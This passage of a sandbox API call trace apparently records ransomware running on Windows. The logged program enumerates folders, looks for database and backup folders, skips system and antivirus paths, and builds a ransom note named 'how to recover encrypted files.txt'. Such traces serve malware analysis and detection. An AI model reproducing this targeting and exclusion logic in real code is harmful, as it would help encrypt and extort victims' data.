Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\") returned 8 [0041.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꓔR企@\x18?T\x18D")) returned 0xffffffff [0041.515] GetLastError () returned 0x2 [0041.516] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0041.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@袔T企@\x18⊤R\x18j")) returned 0xffffffff [0041.516] GetLastError () returned 0x2 [0041.516] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0041.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0041.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0041.517] GetLastError () returned 0x2 [0041.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\⊠R ") returned 6 [0041.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0041.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@⍬R企@\x18?T\x18y")) returned 0xffffffff [0041.517] GetLastError () returned 0x2 [0041.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0041.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꓔR企@\x18?T\x18\x81")) returned 0xffffffff [0041.518] GetLastError () returned 0x2 [0041.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0041.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@뭼R企@\x18?T\x18\x88")) returned 0xffffffff [0041.518] GetLastError () returned 0x2 [0041.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0041.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@⍬R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.519] GetLastError () returned 0x2 [0041.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0041.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꓔR企@\x18?T\x18\x97")) returned 0xffffffff [0041.519] GetLastError () returned 0x2 [0041.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.520] GlobalLock (hMem=0x440004) returned 0x551178 [0041.520] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.520] GlobalUnlock (hMem=0x440004) returned 0 [0041.520] GlobalLock (hMem=0x440004) returned 0x551178 [0041.520] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.520] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.520] GlobalUnlock (hMem=0x440004) returned 0 [0041.520] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.520] GlobalUnlock (hMem=0x44000c) returned 0 [0041.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.520] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.520] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0041.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.520] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0041.521] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.521] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0041.521] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.521] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.521] GlobalUnlock (hMem=0x44000c) returned 0 [0041.521] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.521] GlobalLock (hMem=0x440004) returned 0x553188 [0041.521] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.521] GlobalUnlock (hMem=0x44000c) returned 0 [0041.521] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.521] GlobalUnlock (hMem=0x440004) returned 0 [0041.521] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0041.521] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0041.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0041.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0041.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0041.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0041.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0041.523] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0041.523] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0041.523] GlobalLock (hMem=0x440004) returned 0x551178 [0041.523] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.523] GlobalUnlock (hMem=0x440004) returned 0 [0041.523] GlobalLock (hMem=0x440004) returned 0x551178 [0041.523] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.523] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.523] GlobalUnlock (hMem=0x440004) returned 0 [0041.523] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.523] GlobalUnlock (hMem=0x44000c) returned 0 [0041.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0041.523] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.523] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0041.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0041.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0041.523] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.523] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.524] GlobalUnlock (hMem=0x44000c) returned 0 [0041.524] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.524] GlobalLock (hMem=0x440004) returned 0x554190 [0041.524] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.524] GlobalUnlock (hMem=0x44000c) returned 0 [0041.524] GlobalHandle (pMem=0x554190) returned 0x440004 [0041.524] GlobalUnlock (hMem=0x440004) returned 0 [0041.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.524] CharLowerBuffW (in: lpsz="EEINTL.DLL", cchLength=0xa | out: lpsz="eeintl.dll") returned 0xa [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0041.524] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.524] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\EQUATION\\1033\\EEINTL.DLL", lpUsedDefaultChar=0x0) returned 4 [0041.525] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0041.525] GlobalLock (hMem=0x440004) returned 0x551178 [0041.525] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.525] GlobalUnlock (hMem=0x440004) returned 0 [0041.525] GlobalLock (hMem=0x440004) returned 0x551178 [0041.525] GlobalLock (hMem=0x44000c) returned 0x553188 